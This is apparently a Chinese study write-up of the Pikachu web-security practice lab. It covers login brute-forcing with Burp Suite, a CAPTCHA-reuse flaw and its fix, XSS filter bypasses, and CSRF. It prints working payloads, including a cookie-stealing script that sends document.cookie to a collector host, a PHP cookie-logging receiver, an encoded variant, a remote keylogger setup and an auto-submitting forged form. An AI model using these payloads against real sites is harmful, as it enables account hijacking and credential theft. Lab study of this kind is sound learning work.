在测试过程中经常会遇到类似的登录接口
随便输入一个用户名密码,输入正确的验证码,提示用户名或密码不存在
通过猜测尝试登录,这个猜测的过程就是暴力破解,猜当然也是有技巧也有限制的
测试时,应首先确定被测试对象的范围
如验证码暴破:它的范围是4位或6位数字或字母组成的,根据具体场景有所不同,登录时手机或邮箱会收到这种验证码验证登录
但是一些没有具体范围的只能尽量缩小范围,再尝试用使用频率较高的值进行暴破,或者结合目标信息进行组合暴破,就是弱口令
所谓弱口令,就是设置的比较简单,比如nordpass公布的2021年最常用的top200密码
最常用的依然是123456这种非常容易猜测的密码,woaini,呵呵,147258369是9键数字键盘纵向密码,zxcvbnm,键盘最下一排字母,都是非常方便记忆的
而一些开发测试人员,网站管理员在使用某些程序时,会设置一些类似test,admin,user…等比较方便通用的用户名或者使用程序默认的用户名,比如我的数据库用户名为root就是默认的
burpsuite抓包,设置两个变量,选择 Cluster bomb 模式,适用于用户名+密码破解
配置字典
set 1对应用户名,set 2对应密码 ,runtime file是选择指定文件,文件名是英文的
还有一个非常好的功能,就是结果匹配
因为登录成功会返回login success,我们在结果中匹配就可
登录成功
但是可以看到这里一共有3个用户
我们只找到两个,使用网站相关的用户名也是比较常见的一种方式,比如公司缩写+年份,学校缩写+学号…这个看似只能靠经验了,我觉得在测试过程中可能还是大海捞针,或者一些软柿子系统或者没人维护才会有这样的漏洞
不喜欢很讨厌很烦
on-server 这个流程是后端生成验证码
showvcode.php
session_start(); //开启session
include_once 'function.php'; //引用function.php 生成验证码图片
$_SESSION['vcode']=vcodex(); //验证码赋值
将我们输入的值与 $_SESSION[‘vcode’] 进行对比,这里还把字符转为小写再比对
if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
$html .= "验证码输入错误哦!
";
}else{登录操作}
//strtolower()转为小写
但是缺少了一个操作,导致验证码可以暴破
登录抓包,重放请求,验证码正确且不变,多次尝试更改用户名密码都不显示验证码错误
这里我们继续暴破就可以了,要注意如果没有拦截请求重发,而是放包后重发,验证码已经被刷新,需保持一致
那么这里的防护措施也很简单,就是在验证过后,将vcode的值清空,做到一次一密,正常session的过期时间是24分钟,在这一段时间内验证码都是有效的
//应该在验证后,销毁该变量
unset($_SESSION['vcode']);
手机接收的验证码并不需要一验一换,很多都是设置了几分钟的失效时间的
这时就需要一种次数验证机制了,一般是 5 次以后锁定账户短时间不允许登录
顺便说一下 on-client 的验证码绕过,一切前端的验证都是纸老虎,在js里生成验证码,在js里验证
这些都是可控的,可绕过的,在burp里抓包,随意修改,甚至为空都不会进行验证,因为在burp里不加载js
当然暴力破解不限于用户名密码的破解,像是网站路径,后台,订单号,服务,一切能猜的都可以猜,好的字典是最重要的。
通过生成随机序列标记每一次请求,通过表单发送,如果token值不匹配,则无法登录
该token的生成过程是请求该页面时,就下发到客户端,输出到页面上了,然后在发送登录请求时自动带上token,如果页面刷新,或者登录失败,或者重复登录,token都会刷新,我们很容易获取 token
尝试写脚本
发现需要cookie验证,因为必须是同一个session的token,服务端就是通过session id区分不同会话
session id不同则失效
所谓的xss就是输入的数据–>在前端当成js代码执行
js我们前两篇文章已经接触过一些了,一种就是包裹在标签中的javascript代码,尝试输入
它是在标签中直接输出的,完全可以执行js代码,看下源码
$html.="who is {$_GET['message']},i don't care!
";
<form method="get">"message"参数<form>
<?php echo $html;?>
修改一下最大输入长度,弹个窗
弹窗字符串,发现双引号被转义了
既然转义了,就使用其他等效的方式,比如使用函数将Unicode转成字符串
<script>alert(String.fromCharCode(88,83,83))script>//大写
<script>alert(String.fromCharCode(120,115,115))script>//小写
反射型xss就是构造一次执行一次的,刷新了就没了
这里是通过get参数传递,点击一次url链接就可以执行一次
xss_reflected_get.php?message=%3Cscript%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2Fscript%3E&submit=submit
post传参也一样,重点是参数怎么在页面源代码中显示
顾名思义,就是存储在html源代码中了,每次加载页面都会执行
DOM型也是反射型xss,只不过输出在DOM树中,闭合有一些微小差异
我发现有js基础看这个就是很顺理成章的东西,建议大家都去学基础知识
闭合一下就完事了
输入 #' onclick="alert('xss')">
正常弹窗
有一个地方要注意,闭合href
为什么用单引号呢?当然因为源码href
属性是单引号包裹的,单双引号是必须要匹配的,虽然 f12显示的双引号,但是用双引号闭合真的不行
document.getElementById("dom").innerHTML = "what do you see?";
只要是成对匹配,单引号双引号都可以,修改一下源码的单双引号,测试
为什么用onclick
事件属性,因为加入 需要重新加载页面才能执行,反射型在url,存储型在源码,这个一刷新就没了
钓鱼的原理也很简单,就是在有漏洞的页面请求我们恶意站点的链接,附带执行js代码将自己的信息全部发过来
把cookie当作参数通过url传给我们的页面,然后将结果保存
payload:<script>document.location="http://pikachu/pkxss/xcookie/cookie.php?cookie="+document.cookie;script>
cookie.php,除了获取cookie还会获取一些其他数据,都是浏览器会自动填充的,然后重定向
现在登录网站除了cookie,还会有很多其它参数,一般是服务器下发或者js生成,获取可能需要逆向,留待以后解决
//获取一些数据 主要是cookie
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://pikachu/index.php");//重定向到一个可信的网站
失败了,这里也对引号做了转义(为什么和视频里不一样?)
没关系,我们继续转换编码,将字符串转为unicode编码,还是刚才讲的那个函数
//String.fromCharCode()和charCodeAt()是互相转换的函数
var str='http://pikachu/pkxss/xcookie/cookie.php?cookie=';
const arr=[];
for(var i=0;i<str.length;i++){
arr.push(str[i].charCodeAt())
}
console.log(arr)
新的payload
<script>document.location=(String.fromCharCode(104,116,116,112,58,47,47,112,105,107,97,99,104,117,47,112,107,120,115,115,47,120,99,111,111,107,105,101,47,99,111,111,107,105,101,46,112,104,112,63,99,111,111,107,105,101,61)+document.cookie);script>
成功获取cookie
我们可以把这个超长链接发送给别人,受害者点击之后
小鱼就上钩了,这里的cookie还是pikachu的cookie
点击post.html页面,在页面加载完之后会通过click函数自动点击表单进行提交,其他的都一样(后面遇到问题没有成功的可以重启浏览器,清除缓存,重启phpstudy,甚至重启电脑)
window.onload = function() {
document.getElementById("postsubmit").click();
}
value里的js代码并没有被提前解析
很简单,访问恶意链接,会返回一个登录认证框,直接输入用户名密码发给攻击者
不出所料,同样过滤了引号,转码也行不通
但是我们可以不输入引号,浏览器会自动给我们加上,可能这不是必须的吧
点击提交,成功弹窗
输入用户名密码…失败,又是好一顿测试和百度,发现输入的数据是经过base64加密传输的,也就是basic后的字符串
然后php会有几个特定的变量来接收他们,但是并没有接收到参数,只会无限弹窗,提交完又弹出一个…又弹出一个…改了几个php版本也没什么用
参照网上修改了.htaccess文件,继续失败,输出变量是可以正常输出的
直接请求链接也是可以成功接收的
…结果把源码这块的自动换行改为一行…就成功了(我的vscode没设置自动换行,可能格式不对,总之,能用就万岁!)
当然,重中之重,htaccess文件也必须要设置,支持AUTHORIZATION认证
RewriteEngine on
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
见证奇迹的时刻
成功
…但是为什么会是两个请求??!!如果遇到同样问题的同学可以自行解决,我累了,多次刷新也会正常返回,不需要再次输入,猜想是该session没有过期
跨域请求
例外:限制太多加大了开发难度,某些标签加载特定资源不受限制
//加载js
//加载图片
//加载css
为了演示跨域请求,我们新建一个pkxss后台
本机IP:10.64.16.112
pkxss:192.168.188.133
在有xss漏洞的页面,调用我们的js文件
引入js文件执行
每敲一下按键都会发送一个请求,但是都失败了,因为同源策略?
在rk.js,我们通过ajax发送数据
只要在rkserver.php设置允许跨域访问即可
再次输入
利用原理:通过js发送数据给php页面
管理员/用户查看这个页面点击键盘就会发送给后端
基本的利用一是引用远程js脚本,收集用户数据,发送给后端php文件处理,二是直接插入js脚本发送用户数据给后端,都可在url中,标签内,属性中,表单里几种,都是差不多的
输入–>前端js过滤–>后端程序正则过滤&waf等–>输出
当我们的输入被后端程序过滤时,我们一般也是尝试不同输入来判断后端使用了什么方法
举例:正则过滤 (正则后面会安排) 标签
<sCRiPt>alert(111)SCRIpt>
<script>ipt>alert(111)</scscript>ript>
我不太清楚教程这里的使用注释干扰是什么意思
因为标签一部分会被当成字符串输出
编码绕过:浏览器在解析html时,会对文档进行实体编码的解码
html实体编码解码
不要把img标签和属性也编码,因为html先根据标签构建dom树然后解码,如果标签被编码,都会被转换为字符串
注:实体编码有实体名称和实体编号两种
ENT_COMPAT -默认 仅编码双引号
ENT_QUOTES -编码双引号和单引号
ENT_NOQUOTES -不编码任何引号
可能存在设置问题导致单引号没有被过滤
会将冒号后的代码当作js代码执行
在a标签中href属性中输出,当我们点击链接,请求自然会执行代码
懂了这个原理,我们可以构造几个这样的语句
<a href="javascript:alert('test');">?a>
<img src=x onerror="javascript:alert('test2');" >!!a>
<img src=x onclick="javascript:alert('test3');">a>
在js中输出代码,也是构造闭合并插入语句,标签内的代码不会进行html实体编码解码,而是对特殊字符进行转义。
跨站请求伪造,先说请求伪造,比如我们要修改敏感信息,如果直接通过GET请求发送,如下
cookie是浏览器自动发送的,所以任何人输入这个url,都可以将自己的信息修改
加入token进行身份验证
为什么可以防御csrf?
如果请求页面,会下发一个token,用户修改信息,将下发的token一并发送,请求成功
攻击者将带有token的请求发送给受害者,受害者点击链接,请求页面,token会更新,和当前会话不匹配,不会请求成功
post请求则和之前xss_post一样,伪造表单自动提交
一个小技巧,复制html代码,按F2
CTRL+C+V
<html>
<head>
<script>
window.onload = function() {
document.getElementById("submit").click();
}
script>
head>
<body>
<form method="post" action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input type="text" name="sex" value="girl">
<input class="phonenum" type="text" name="phonenum" value="12345678922">
<input class="add" type="text" name="add" value="csrf后的haha">
<input class="email" type="text" name="email" value="lucy@pikachu.com">
<input id="submit" type="submit" name="submit" value="submit">
form>
body>
html>
点击链接,成功修改
csrf是借用户之手执行诸如注销账户,修改敏感信息等操作
xss是通过js盗取用户敏感信息,获取密码cookie进一步盗取账号等